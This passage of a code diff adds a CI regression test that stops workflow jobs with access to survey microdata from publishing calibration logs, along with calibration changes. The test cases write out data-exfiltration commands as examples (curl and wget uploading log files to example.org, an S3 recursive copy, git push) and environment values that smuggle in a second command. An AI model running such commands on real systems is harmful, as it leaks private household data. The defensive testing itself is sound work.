target.parent.mkdir(parents=True, exist_ok=True) + original = (STORAGE_FOLDER / voa_council_tax._SCOTLAND_WORKBOOK_FILE).read_bytes() + i = data.draw(st.integers(0, len(original) - 1)) + target.write_bytes(original[:i] + bytes([original[i] ^ 0x01]) + original[i + 1 :]) + monkeypatch.setattr("policyengine_uk_data.storage.STORAGE_FOLDER", tmp_path) + with pytest.raises(ValueError, match="sha256"): + voa_council_tax._get_scotland_band_counts() + + +def test_a_missing_workbook_fails(tmp_path, monkeypatch): + monkeypatch.setattr("policyengine_uk_data.storage.STORAGE_FOLDER", tmp_path) + with pytest.raises(FileNotFoundError): + voa_council_tax._get_scotland_band_counts() + + +def test_the_committed_workbook_still_reads_after_a_copy(tmp_path, monkeypatch): + """Positive control for the two tests above: identical bytes elsewhere pass.""" + target = tmp_path / voa_council_tax._SCOTLAND_WORKBOOK_FILE + target.parent.mkdir(parents=True, exist_ok=True) + shutil.copyfile(STORAGE_FOLDER / voa_council_tax._SCOTLAND_WORKBOOK_FILE, target) + monkeypatch.setattr("policyengine_uk_data.storage.STORAGE_FOLDER", tmp_path) + assert voa_council_tax._get_scotland_band_counts() == PUBLISHED diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py new file mode 100644 index 000000000..f26e4c49b --- /dev/null +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -0,0 +1,745 @@ +"""A regression check on the routes out of CI jobs that can reach the microdata. + +The raw calibration logs hold each target's weighted estimate, nationally and +for every constituency and local authority, with no small-cell control. A +target supported by a few households, divided by a published count, could +give one household's value back, and this repository's Actions artifacts are +public. + +What the check does: + +- A job **can reach the data** when it, or its workflow, mentions + ``secrets`` in any form or case other than ``secrets.GITHUB_TOKEN`` + (presumed a data credential whatever it is called; expressions are + case-insensitive), passes secrets on, can request an OIDC token + (``id-token: write`` or ``write-all``), signs in to Google Cloud, or + downloads artifacts. +- In such a job, every action must be reviewed for the inputs it is given + (``REVIEWED_ACTIONS``), so a set-up action can't be pointed at the + workspace, and setup-uv must not save its cache (``save-cache: false``). + Every artifact upload must name literal files reviewed for that job in + ``REVIEWED``: no directories, globs, exclusions or expressions. Every run + line that matches ``PUBLISH_COMMAND`` (any curl or wget, and the known + publishing commands) must be, in full, a command reviewed for that job. A + job that commits its whole workspace may run only its reviewed lines + (``runs_only``), with no ``shell``, ``env``, ``working-directory``, + ``defaults`` or ``container`` that could change what those lines run. +- Jobs that can't reach the data (docs, changelog) may publish. + +What it does not do (Sol re-review of #603): it recognises reviewed workflow +shapes through secret, action and command names and explicit artifact +downloads. It restricts declared actions, artifact path strings and known +literal publishing commands. It does not establish data provenance or inspect +script, composite, reusable-workflow, container or service behaviour, shell +expansion, step summaries or job outputs. Producer patterns establish text +presence in an earlier run step, not execution, ordering at run time, that +the path is a regular file, or that its contents are disclosure-controlled. +Changes to any of these routes need human review. +""" + +from __future__ import annotations + +import copy +import re +from pathlib import Path + +import pytest +import yaml + +WORKFLOW_DIR = Path(__file__).parents[2] / ".github" / "workflows" +WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml")) + +# Any mention of secrets but this one is presumed to reach the data, in any +# syntax or case: secrets.NAME, SECRETS.NAME, secrets['NAME'], +# toJSON(secrets) (Sol re-reviews 2 and 3 of #603). +_NON_DATA_SECRET = re.compile(r"\bsecrets\.github_token\b", re.IGNORECASE) +_SECRETS = re.compile(r"\bsecrets\b", re.IGNORECASE) +DATA_ACTIONS = ("google-github-actions/auth",) + +# Actions that publish nothing when given only these inputs. setup-uv's +# cache is on by default on hosted runners and its location can be moved +# (UV_CACHE_DIR, [tool.uv] cache-dir), so in a data job it must not save: +# ``save-cache: false``, or ``enable-cache: false`` (Sol re-reviews of #603). +REVIEWED_ACTIONS = { + "actions/checkout": { + "fetch-depth", + "sparse-checkout", + "sparse-checkout-cone-mode", + "token", + "ref", + "repository", + "path", + "persist-credentials", + }, + "actions/setup-python": {"python-version"}, + "actions/setup-node": {"node-version"}, + "astral-sh/setup-uv": {"version", "python-version", "enable-cache", "save-cache"}, + "google-github-actions/auth": {"service_account", "workload_identity_provider"}, + "actions/create-github-app-token": {"app-id", "private-key"}, + "actions/download-artifact": {"name", "path", "pattern", "merge-multiple"}, +} + +# Reviewed routes out of each job that can reach the data: +# (workflow file, job id) -> artifact paths it may upload, each mapped to a +# pattern an earlier run step must contain to produce it; the publishing +# commands it may run, each a whole line; and actions reviewed for this job +# only, with their exact inputs. +REVIEWED = { + # Routes independently approved in #599, #600 and #602. Only their + # six aggregate reports and exact comment commands may leave these jobs. + ("pull_request.yaml", "test"): { + "artifacts": { + "fit_summary.json": ( + r"(?m)^" + + re.escape( + "uv run --frozen python -m policyengine_uk_data.utils.fit_report " + "summarise constituency_calibration_log.csv --out fit_summary.json" + ) + + r"$" + ), + "distribution_report.json": ( + r"(?m)^" + + re.escape( + "uv run --frozen python -m " + "policyengine_uk_data.utils.distribution_validation measure " + "policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out " + "distribution_report.json" + ) + + r"$" + ), + "aggregate_result.json": ( + r"(?m)^" + + re.escape( + 'PYTHONPATH="$tool" uv run --frozen python -m pe_uk_aggregate_impact ' + "measure --label head --dataset-file " + "policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --dataset-label " + '"this pull request\'s build" --fallback-partition ' + "pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml --no-guard " + '--git-sha "$model" --out "$RUNNER_TEMP/aggregate" || true' + ) + + "\n" + + re.escape( + 'cp "$RUNNER_TEMP/aggregate/result.json" aggregate_result.json || ' + 'echo "::warning::The aggregate measurement wrote no result; see the ' + 'log above."' + ) + + r"$" + ), + }, + "commands": (), + "actions": {}, + }, + ("pull_request.yaml", "base-build"): { + "artifacts": { + "base_fit_summary.json": ( + r"(?m)^" + + re.escape( + "uv run --frozen --project base python -m " + "policyengine_uk_data.utils.fit_report summarise " + "base/constituency_calibration_log.csv --out base_fit_summary.json" + ) + + r"$" + ), + "base_distribution_report.json": ( + r"(?m)^" + + re.escape( + "uv run --frozen python -m " + "policyengine_uk_data.utils.distribution_validation measure " + "policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --out " + "../base_distribution_report.json" + ) + + r"$" + ), + "base_aggregate_result.json": ( + r"(?m)^" + + re.escape( + 'PYTHONPATH="$tool" uv run --frozen --project base python -m ' + "pe_uk_aggregate_impact measure --label base --dataset-file " + "base/policyengine_uk_data/storage/enhanced_frs_2024_25.h5 " + '--dataset-label "the base\'s build" --fallback-partition ' + "pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml --no-guard " + '--git-sha "$model" --out "$RUNNER_TEMP/aggregate" || true' + ) + + "\n" + + re.escape( + 'cp "$RUNNER_TEMP/aggregate/result.json" base_aggregate_result.json ' + '|| echo "::warning::The aggregate measurement wrote no result; see ' + 'the log above."' + ) + + r"$" + ), + }, + "commands": (), + "actions": {}, + }, + ("pull_request.yaml", "fit-comparison"): { + "artifacts": {}, + "commands": ( + ( + "existing=$(gh api --paginate " + '"repos/$GITHUB_REPOSITORY/issues/$PR/comments" --jq ".[] | ' + 'select(.user.login == \\"github-actions[bot]\\") | select(.body | ' + 'startswith(\\"$marker\\")) | .id" | tail -n 1)' + ), + ( + 'gh api -X PATCH "repos/$GITHUB_REPOSITORY/issues/comments/$existing" ' + "-F body=@fit.md > /dev/null" + ), + ( + 'gh api -X POST "repos/$GITHUB_REPOSITORY/issues/$PR/comments" -F ' + "body=@fit.md > /dev/null" + ), + ), + "actions": {}, + }, + ("push.yaml", "test"): { + "artifacts": {}, + # Private Hugging Face and GCS datasets (upload_completed_datasets.py, + # the data controller's destinations), then the release tag. + "commands": ("uv run --frozen make upload", ".github/publish-git-tag.sh"), + "actions": {}, + }, + ("versioning.yaml", "Versioning"): { + "artifacts": {}, + "commands": (), + # Commits the version bump. Its secrets are the GitHub app's. It + # commits the whole workspace, so it may run only these lines and + # can't fetch or build data (Sol re-review 3 of #603: a bare `make` + # builds the data, so command names aren't enough). + "actions": { + "EndBug/add-and-commit": {"add": ".", "message": "Update package version"} + }, + "runs_only": ( + "pip install towncrier", + "python .github/bump_version.py", + "towncrier build --yes --version $(python -c \"import re; print(re.search(r'version = \\\"(.+?)\\\"', open('pyproject.toml').read()).group(1))\")", + ), + }, +} + +# Any curl or wget counts, not only their upload options: each review round +# found another spelling that sends a file (curl's -sT, -H @file, --url-query +# name@file, --variable name@file with --expand-url; Sol re-reviews 3 to 5 and +# the delta review of #603). No uk-data workflow runs either, so a new use +# needs reviewing, like any other command here. +PUBLISH_COMMAND = re.compile( + r"make upload|publish-git-tag|\bgh\s+[a-z]" # any gh command + r"|\bgit push\b|\bcurl\b|\bwget\b" + r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b" +) +_NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{") +_EMPTY = {"artifacts": {}, "commands": (), "actions": {}, "runs_only": None} + + +def _jobs(workflow: dict) -> dict: + return workflow.get("jobs") or {} + + +def _triggers(workflow: dict) -> dict: + # YAML reads a bare ``on:`` key as True. + on = workflow.get("on", workflow.get(True)) or {} + return on if isinstance(on, dict) else {} + + +def _uses_data_secret(text: str) -> bool: + return bool(_SECRETS.search(_NON_DATA_SECRET.sub("", text))) + + +def _requests_oidc(block) -> bool: + permissions = (block or {}).get("permissions") + if isinstance(permissions, str): + return permissions.strip().lower() == "write-all" + return ( + isinstance(permissions, dict) + and str(permissions.get("id-token", "")).strip('"') == "write" + ) + + +def reaches_data(job: dict, workflow: dict | None = None) -> bool: + workflow = workflow or {} + shared = yaml.safe_dump( + {"env": workflow.get("env"), "defaults": workflow.get("defaults")} + ) + call = _triggers(workflow).get("workflow_call") or {} + if ( + _uses_data_secret(shared) + or (isinstance(call, dict) and call.get("secrets")) + or _requests_oidc(workflow) + ): + return True + text = yaml.safe_dump(job) + if "secrets" in job or _uses_data_secret(text) or _requests_oidc(job): + return True + return any( + str(step.get("uses", "")).split("@", 1)[0] + in DATA_ACTIONS + ("actions/download-artifact",) + for step in job.get("steps", []) + ) + + +def _action(uses: str) -> str: + return uses.split("@", 1)[0] + + +def logical_lines(script: str) -> list: + """Shell lines with backslash continuations joined.""" + out, pending = [], "" + for line in script.splitlines(): + if line.rstrip().endswith("\\"): + pending += line.rstrip()[:-1] + " " + continue + out.append((pending + line).strip()) + pending = "" + if pending: + out.append(pending.strip()) + return [line for line in out if line] + + +def _code(script: str) -> str: + """A run script without comment lines.""" + return "\n".join( + line for line in logical_lines(script) if not line.lstrip().startswith("#") + ) + + +def problems(name: str, workflow: dict) -> list: + """Every unreviewed route out of a job of ``workflow`` that can reach the data.""" + out = [] + for job_id, job in _jobs(workflow).items(): + if not reaches_data(job, workflow): + continue + where = f"{name} job {job_id}" + reviewed = {**_EMPTY, **REVIEWED.get((name, job_id), {})} + if "uses" in job: + out.append(f"{where} calls a reusable workflow ({job['uses']})") + if reviewed["runs_only"] is not None: + for key, block in (("env", job), ("defaults", job), ("container", job)): + if key in block: + out.append( + f"{where} publishes its workspace, so it may not set {key}" + ) + for key in ("env", "defaults"): + if workflow.get(key): + out.append( + f"{where} publishes its workspace, so its workflow may not " + f"set {key}" + ) + earlier = [] # run steps before the current one, comments removed + for step in job.get("steps", []): + uses = str(step.get("uses", "")) + inputs = step.get("with") or {} + if uses: + action = _action(uses) + if action == "actions/upload-artifact": + path = str(inputs.get("path", "")) + entries = [p.strip() for p in path.splitlines() if p.strip()] + if not entries: + out.append(f"{where} uploads an artifact with no path") + for entry in entries: + if _NOT_LITERAL.search(entry): + out.append( + f"{where} uploads a pattern or expression: {entry!r}" + ) + elif entry in (".", "./") or entry.endswith("/"): + out.append(f"{where} uploads a directory: {entry!r}") + elif entry not in reviewed["artifacts"]: + out.append(f"{where} uploads an unreviewed file: {entry!r}") + elif not re.search( + reviewed["artifacts"][entry], "\n".join(earlier) + ): + out.append( + f"{where} uploads {entry!r} without its reviewed " + "producer in an earlier run step" + ) + elif action in reviewed["actions"]: + if dict(inputs) != reviewed["actions"][action]: + out.append( + f"{where} gives {action} inputs other than the reviewed ones" + ) + elif action in REVIEWED_ACTIONS: + extra = set(inputs) - REVIEWED_ACTIONS[action] + if extra: + out.append( + f"{where} gives {action} unreviewed inputs: " + + ", ".join(sorted(extra)) + ) + if action == "astral-sh/setup-uv": + off = lambda key: inputs.get(key) in (False, "false") # noqa: E731 + if not (off("save-cache") or off("enable-cache")): + out.append( + f"{where} lets setup-uv save its cache " + "(set save-cache: false)" + ) + else: + out.append(f"{where} uses an unreviewed action: {uses}") + script = str(step.get("run", "")) + if reviewed["runs_only"] is not None: + # A shell or environment could run something else around a + # reviewed line (BASH_ENV, a custom shell) (Sol re-review 4). + for key in ("shell", "env", "working-directory"): + if key in step: + out.append( + f"{where} publishes its workspace, so its steps may " + f"not set {key}" + ) + for line in logical_lines(script): + if line not in reviewed["runs_only"]: + out.append( + f"{where} publishes its workspace, so it may run only " + f"its reviewed lines, not {line!r}" + ) + for line in logical_lines(script): + if PUBLISH_COMMAND.search(line) and line not in reviewed["commands"]: + out.append( + f"{where} runs an unreviewed publishing command: {line!r}" + ) + if script and step.get("if") not in (False, "false", "${{ false }}"): + earlier.append(_code(script)) + return out + + +def _load(path: Path) -> dict: + return yaml.safe_load(path.read_text()) + + +def test_the_workflows_are_found(): + names = {w.name for w in WORKFLOWS} + assert {"pull_request.yaml", "push.yaml"} <= names + + +@pytest.mark.parametrize("workflow", WORKFLOWS, ids=lambda w: w.name) +def test_no_unreviewed_route_out_of_a_job_that_can_reach_the_data(workflow): + assert problems(workflow.name, _load(workflow)) == [] + + +def test_the_jobs_that_can_reach_the_data_are_recognised(): + def job(name, job_id): + workflow = _load(WORKFLOW_DIR / name) + return reaches_data(_jobs(workflow)[job_id], workflow) + + assert job("pull_request.yaml", "test") and job("push.yaml", "test") + assert job("versioning.yaml", "Versioning") # a GitHub app's secrets + assert not job("docs.yaml", "build-and-deploy") + assert not job("push.yaml", "gate") # the GitHub token only + + +def test_every_reviewed_entry_names_a_real_job(): + for name, job_id in REVIEWED: + assert job_id in _jobs(_load(WORKFLOW_DIR / name)), (name, job_id) + + +# A clean job that builds the datasets, for the mutation tests below. +DATA_JOB = { + "env": {"HUGGING_FACE_TOKEN": "${{ secrets.HUGGING_FACE_TOKEN }}"}, + "steps": [ + {"uses": "actions/checkout@v6"}, + {"uses": "astral-sh/setup-uv@v8.1.0", "with": {"save-cache": False}}, + {"run": "uv run --frozen make data"}, + ], +} + + +def _with_step(*steps: dict, workflow_extra=None) -> list: + job = copy.deepcopy(DATA_JOB) + job["steps"] += list(steps) + return problems("example.yaml", {**(workflow_extra or {}), "jobs": {"build": job}}) + + +def test_the_clean_data_job_passes(): + """Baseline for the mutation tests: each failure below is the added step's.""" + assert reaches_data(DATA_JOB) + assert _with_step() == [] + + +def _upload(path: str) -> dict: + return {"uses": "actions/upload-artifact@v7", "with": {"name": "x", "path": path}} + + +@pytest.mark.parametrize( + "path", + [ + "constituency_calibration_log.csv", + "la_calibration_log.csv", + "renamed.csv", + ".", + "./", + "policyengine_uk_data/storage/", + "*.csv", + "**/*.csv", + "${{ github.workspace }}", + "!private\nresults", + "fit_summary.json\nconstituency_calibration_log.csv", + ], +) +def test_an_unreviewed_upload_from_a_data_job_fails(path): + """Sol review of #603: names, directories, globs, expressions, every line.""" + assert _with_step(_upload(path)) + + +@pytest.mark.parametrize( + "step", + [ + {"uses": "actions/cache@v4", "with": {"path": "policyengine_uk_data/storage"}}, + {"uses": "actions/upload-pages-artifact@v3", "with": {"path": "."}}, + {"uses": "softprops/action-gh-release@v2", "with": {"files": "*.csv"}}, + {"run": "gh release upload v1 constituency_calibration_log.csv"}, + {"run": "curl -T la_calibration_log.csv https://example.org/"}, + {"run": "aws s3 cp . s3://bucket --recursive"}, + {"run": "git push origin HEAD:logs"}, + {"run": "curl \\\n -T la_calibration_log.csv \\\n https://example.org/"}, + {"run": "gh issue create -t x --body-file constituency_calibration_log.csv"}, + {"run": "gh pr edit 1 --body-file la_calibration_log.csv"}, + {"run": "curl -sT la_calibration_log.csv https://example.org/"}, + {"run": "curl --form f=@la_calibration_log.csv https://example.org/"}, + {"run": "curl --json @la_calibration_log.csv https://example.org/"}, + {"run": "curl -#T la_calibration_log.csv https://example.org/"}, + {"run": "curl -4T la_calibration_log.csv https://example.org/"}, + {"run": "curl -K upload.cfg https://example.org/"}, + {"run": "curl --config upload.cfg https://example.org/"}, + {"run": "curl -H @la_calibration_log.csv https://example.org/"}, + {"run": 'curl -H "@la_calibration_log.csv" https://example.org/'}, + {"run": "curl --header=@la_calibration_log.csv https://example.org/"}, + {"run": "curl -sH @la_calibration_log.csv https://example.org/"}, + {"run": "curl --url-query @la_calibration_log.csv https://example.org/"}, + {"run": 'curl --url-query "q@la_calibration_log.csv" https://example.org/'}, + { + "run": "curl --variable x@la_calibration_log.csv " + '--expand-url "https://example.org/{{x}}"' + }, + {"run": "curl https://example.org/"}, + {"run": "wget -q https://example.org/"}, + {"run": "wget --post-file=la_calibration_log.csv https://example.org/"}, + ], +) +def test_other_routes_out_of_a_data_job_fail(step): + assert _with_step(step) + + +@pytest.mark.parametrize( + "inputs", + [ + {"cache-local-path": ".", "enable-cache": True, "cache-suffix": "x"}, + {"cache-local-path": "."}, + {"enable-cache": True}, + {"cache-dependency-glob": "**/*.csv"}, + {}, # the default saves the cache on hosted runners + None, + ], +) +def test_setup_uv_saving_its_cache_in_a_data_job_fails(inputs): + """Sol re-reviews of #603: the post step saves the cache, wherever + UV_CACHE_DIR points by then.""" + step = {"uses": "astral-sh/setup-uv@v8.1.0"} + if inputs is not None: + step["with"] = inputs + assert _with_step(step) + + +@pytest.mark.parametrize("inputs", [{"save-cache": False}, {"enable-cache": False}]) +def test_setup_uv_that_does_not_save_passes(inputs): + assert _with_step({"uses": "astral-sh/setup-uv@v8.1.0", "with": inputs}) == [] + + +@pytest.mark.parametrize( + "script", + [ + "uv run --frozen make upload; curl -T constituency_calibration_log.csv https://x/", + "uv run --frozen make upload && gh release upload v1 log.csv", + "# uv run --frozen make upload\ncurl -T log.csv https://x/", + ], +) +def test_a_reviewed_command_does_not_excuse_another_on_its_line(script, monkeypatch): + """Sol re-review of #603, finding 2: a reviewed command is a whole line.""" + monkeypatch.setitem( + REVIEWED, + ("example.yaml", "build"), + {**_EMPTY, "commands": ("uv run --frozen make upload",)}, + ) + assert _with_step({"run": script}) + assert _with_step({"run": "uv run --frozen make upload"}) == [] + + +def test_a_workflow_level_credential_makes_every_job_a_data_job(): + """Sol re-review of #603, finding 3.""" + job = { + "steps": [ + {"run": "uv run --frozen make data"}, + _upload("constituency_calibration_log.csv"), + ] + } + workflow = { + "env": {"HUGGING_FACE_TOKEN": "${{ secrets.HUGGING_FACE_TOKEN }}"}, + "jobs": {"sneaky": job}, + } + assert reaches_data(job, workflow) + assert problems("example.yaml", workflow) + + +@pytest.mark.parametrize( + "job", + [ + {"env": {"GH_TOKEN": "${{ secrets.ANY_NAME }}"}, "steps": []}, + {"env": {"HF": "${{ secrets['HUGGING_FACE_TOKEN'] }}"}, "steps": []}, + {"env": {"ALL": "${{ toJSON(secrets) }}"}, "steps": []}, + {"env": {"HF": "${{ SECRETS.HUGGING_FACE_TOKEN }}"}, "steps": []}, + {"env": {"HF": "${{ Secrets['X'] }}"}, "steps": []}, + {"permissions": {"id-token": "write"}, "steps": []}, + {"permissions": "write-all", "steps": []}, + {"uses": "org/repo/.github/workflows/build.yaml@main", "secrets": "inherit"}, + {"steps": [{"uses": "google-github-actions/auth@v3"}]}, + {"steps": [{"uses": "actions/download-artifact@v8"}]}, + ], +) +def test_any_secret_or_data_route_makes_a_data_job(job): + """A secret's name doesn't say what it can read.""" + assert reaches_data(job) + + +def test_a_job_with_only_the_github_token_is_not_a_data_job(): + job = {"env": {"GH_TOKEN": "${{ github.token }}"}, "steps": []} + assert not reaches_data(job) + job = {"env": {"GH_TOKEN": "${{ secrets.GITHUB_TOKEN }}"}, "steps": []} + assert not reaches_data(job) + job = {"env": {"GH_TOKEN": "${{ SECRETS.github_token }}"}, "steps": []} + assert not reaches_data(job) + assert not reaches_data({"permissions": "read-all", "steps": []}) + + +def test_a_reusable_workflow_in_a_data_job_fails(): + job = copy.deepcopy(DATA_JOB) + job["uses"] = "org/repo/.github/workflows/publish.yaml@main" + assert problems("example.yaml", {"jobs": {"build": job}}) + + +def test_downloading_artifacts_makes_a_job_a_data_job(): + job = { + "steps": [ + {"uses": "actions/download-artifact@v8", "with": {"path": "logs"}}, + { + "uses": "JamesIves/github-pages-deploy-action@v4", + "with": {"folder": "logs"}, + }, + ] + } + assert problems("example.yaml", {"jobs": {"publish": job}}) + + +def test_a_job_without_data_may_publish(): + """The docs deploy holds nothing built from the microdata.""" + job = { + "steps": [ + {"uses": "actions/checkout@v6"}, + { + "uses": "JamesIves/github-pages-deploy-action@v4", + "with": {"folder": "docs"}, + }, + ] + } + assert problems("example.yaml", {"jobs": {"docs": job}}) == [] + + +def test_a_reviewed_action_needs_its_reviewed_inputs(): + data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) + for step in _jobs(data)["Versioning"]["steps"]: + if str(step.get("uses", "")).startswith("EndBug/add-and-commit"): + step["with"]["add"] = "constituency_calibration_log.csv" + assert problems("versioning.yaml", data) + + +@pytest.mark.parametrize( + "producer", + [ + None, # no producer at all + {"run": "# python -m tool summarise log.csv --out summary.json"}, + {"run": "python -m tool summarise log.csv --out summary.json", "if": False}, + ], +) +def test_a_reviewed_file_needs_its_producer_in_an_earlier_step(producer, monkeypatch): + monkeypatch.setitem( + REVIEWED, + ("example.yaml", "build"), + {**_EMPTY, "artifacts": {"summary.json": r"summarise \S+ --out summary\.json"}}, + ) + steps = [producer] if producer else [] + assert _with_step(*steps, _upload("summary.json")) + # The producer after the upload doesn't count either. + produce = {"run": "python -m tool summarise log.csv --out summary.json"} + assert _with_step(_upload("summary.json"), produce) + assert _with_step(produce, _upload("summary.json")) == [] + assert _with_step(produce, _upload("summary.json\nlog.csv")) + + +def test_a_workflow_level_oidc_permission_makes_a_data_job(): + workflow = {"permissions": {"id-token": "write"}, "jobs": {"a": {"steps": []}}} + assert reaches_data(workflow["jobs"]["a"], workflow) + + +@pytest.mark.parametrize( + "line", + [ + "uv run make data", + "uv run make", + "make all", + "python policyengine_uk_data/datasets/create_datasets.py", + "echo hi", + ], +) +def test_the_versioning_commit_job_runs_only_its_reviewed_lines(line): + """Sol re-reviews 2 and 3 of #603: it commits the whole workspace, and a + bare `make` builds the data, so only its reviewed lines may run.""" + data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) + _jobs(data)["Versioning"]["steps"].insert(1, {"run": line}) + assert any("reviewed lines" in p for p in problems("versioning.yaml", data)) + + +@pytest.mark.parametrize( + "change", + [ + ("step", "shell", "bash -c 'uv run make data; exec bash \"$0\"' {0}"), + ("step", "env", {"BASH_ENV": "$(uv run make data >&2)"}), + ("step", "working-directory", "tools"), + ("job", "env", {"BASH_ENV": "/tmp/x"}), + ("job", "defaults", {"run": {"shell": "bash -c 'make data'"}}), + ("job", "container", "python:3.13"), + ("workflow", "defaults", {"run": {"shell": "bash -c 'make data'"}}), + ("workflow", "env", {"BASH_ENV": "/tmp/x"}), + ], +) +def test_the_versioning_job_cannot_change_how_its_lines_run(change): + """Sol re-review 4 of #603: a shell or environment runs around a line.""" + where, key, value = change + data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) + job = _jobs(data)["Versioning"] + if where == "step": + step = next(s for s in job["steps"] if s.get("run") == "pip install towncrier") + step[key] = value + elif where == "job": + job[key] = value + else: + data[key] = value + assert any( + "publishes its workspace" in p for p in problems("versioning.yaml", data) + ) + + +@pytest.mark.parametrize( + "edit", + [ + lambda script: script.replace( + "python .github/bump_version.py", + "python .github/bump_version.py \\\n && uv run make data", + ), + lambda script: script + "\nuv run make data", + ], +) +def test_editing_the_reviewed_script_itself_fails(edit): + """Sol re-review 4 of #603, nit 3: continuations and extra lines inside the + reviewed script are caught too.""" + data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) + step = next( + s + for s in _jobs(data)["Versioning"]["steps"] + if "bump_version" in str(s.get("run", "")) + ) + step["run"] = edit(step["run"]) + assert any("reviewed lines" in p for p in problems("versioning.yaml", data)) diff --git a/policyengine_uk_data/utils/calibrate.py b/policyengine_uk_data/utils/calibrate.py index f97c4e1ef..20c04f054 100644 --- a/policyengine_uk_data/utils/calibrate.py +++ b/policyengine_uk_data/utils/calibrate.py @@ -14,6 +14,7 @@ DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE = 0.5 +DEFAULT_CALIBRATION_SEED = 0 def default_weight_dataset_key() -> str: @@ -110,6 +111,8 @@ def load_weights( def initialize_weight_priors( original_weights: np.ndarray, zero_weight_total_share: float = DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE, + *, + prior_weights: np.ndarray | None = None, ) -> np.ndarray: """Build deterministic positive household priors for calibration. @@ -119,12 +122,23 @@ def initialize_weight_priors( zero-weight rows are present, preserve the relative distribution of positive survey weights while reserving a fixed share of total prior mass for the zero-weight rows. + + When a build step has already split these priors between household + copies, use its carried priors directly rather than assigning new mass + to zero-weight originals from the enlarged population of copies. """ weights = np.asarray(original_weights, dtype=np.float64) if weights.ndim != 1: raise ValueError("original_weights must be one-dimensional") if np.any(weights < 0): raise ValueError("original_weights must be non-negative") + if prior_weights is not None: + priors = np.asarray(prior_weights, dtype=np.float64) + if priors.shape != weights.shape: + raise ValueError("prior_weights must match original_weights") + if not np.isfinite(priors).all() or (priors <= 0).any(): + raise ValueError("prior_weights must be finite and positive") + return priors.copy() if weights.size == 0: return weights.copy() if not 0 < zero_weight_total_share < 1: @@ -145,6 +159,62 @@ def initialize_weight_priors( return priors +def prior_equivalent_weights( + original_weights: np.ndarray, + zero_weight_total_share: float = DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE, +) -> np.ndarray: + """Express each household's calibration prior as a household weight. + + A positive row returns its own weight. A zero-weight row returns the + weight a positive row would need to receive the same prior. A build step + that splits a household's mass between two records before calibration + (the capital gains imputation) uses this to treat survey rows and + zero-weight rows alike. + """ + weights = np.asarray(original_weights, dtype=np.float64) + priors = initialize_weight_priors(weights, zero_weight_total_share) + positive_mask = weights > 0 + if positive_mask.all() or not positive_mask.any(): + return priors + return priors / (1 - zero_weight_total_share) + + +def rake_priors_to_targets( + priors: np.ndarray, + matrix: pd.DataFrame, + targets: pd.Series, + names, +) -> np.ndarray: + """Scale household priors so they reproduce each named national target. + + For each named target, the priors of the households that contribute to + it are multiplied by one factor, so the calibration starts with that + target met. The named targets must count disjoint sets of households: + then no factor disturbs another target, and one pass meets them all. + A name the matrix lacks, or a target no household contributes to, is + skipped, because no factor can meet it. + + Calibration moves weights only gradually from their priors, so a target + that starts many times over or under can still be far off when the + epochs run out, and can drag the targets that share its records with it. + """ + priors = np.asarray(priors, dtype=np.float64).copy() + names = [name for name in names if name in matrix.columns] + columns = matrix[names].to_numpy(dtype=np.float64) + if (np.count_nonzero(columns, axis=1) > 1).any(): + raise ValueError( + "Targets raked at the prior must count disjoint sets of households" + ) + for name, column in zip(names, columns.T): + target = float(targets[name]) + if target <= 0: + raise ValueError(f"Cannot rake priors to a non-positive target: {name}") + estimate = float((priors * column).sum()) + if estimate > 0: + priors[column != 0] *= target / estimate + return priors + + def _as_bool_mask(series: pd.Series) -> np.ndarray: if pd.api.types.is_bool_dtype(series): return series.fillna(False).to_numpy(dtype=bool) @@ -221,6 +291,8 @@ def calibrate_local_areas( nested_progress=None, time_period: int | str | None = None, zero_weight_prior_total_share: float = DEFAULT_ZERO_WEIGHT_PRIOR_TOTAL_SHARE, + prior_rake_targets=(), + seed: int = DEFAULT_CALIBRATION_SEED, ): """ Generic calibration function for local areas (constituencies, local authorities, etc.) @@ -239,6 +311,11 @@ def calibrate_local_areas( area_name: Name of the area type for logging zero_weight_prior_total_share: Share of prior household mass to reserve for rows whose incoming household_weight is zero. + prior_rake_targets: Names of national targets, counting disjoint sets of + households, that the starting weights are scaled to meet (see + rake_priors_to_targets). + seed: Seed for the dropout masks. The same inputs and seed give the same + weights in every process. """ if dataset_key is None: dataset_key = default_weight_dataset_key() @@ -280,7 +357,14 @@ def track_stage(stage_name: str): household_prior_weights = initialize_weight_priors( dataset.household.household_weight.values, zero_weight_total_share=zero_weight_prior_total_share, + prior_weights=getattr( + dataset.household, "household_calibration_prior", None + ), ) + if prior_rake_targets: + household_prior_weights = rake_priors_to_targets( + household_prior_weights, m_n, y_n, prior_rake_targets + ) area_prior_weights = household_prior_weights / areas_per_household original_weights = np.log(np.clip(area_prior_weights, 1e-12, None)) weights = torch.tensor( @@ -384,11 +468,19 @@ def pct_close(w, t=0.1, local=True, national=True): return numerator / denominator + # Dropout masks come from their own seeded generator. torch seeds its + # global generator differently in every process, so masks drawn from it + # (the earlier `torch.rand_like`) gave every build different weights. + dropout_generator = torch.Generator().manual_seed(seed) + def dropout_weights(weights, p): if p == 0: return weights # Replace p% of the weights with the mean value of the rest of them - mask = torch.rand_like(weights) < p + mask = ( + torch.rand(weights.shape, generator=dropout_generator, dtype=weights.dtype) + < p + ) mean = weights[~mask].mean() masked_weights = weights.clone() masked_weights[mask] = mean @@ -423,6 +515,11 @@ def log_performance( ) performance_step["epoch"] = epoch performance_step["loss"] = performance_step.rel_abs_error**2 + # training_loss, validation_loss and the two pct_close columns describe + # the dropout-perturbed weights before this epoch's optimiser step. + # saved_weights_loss and the per-target columns describe final_weights, + # the weights after the step, 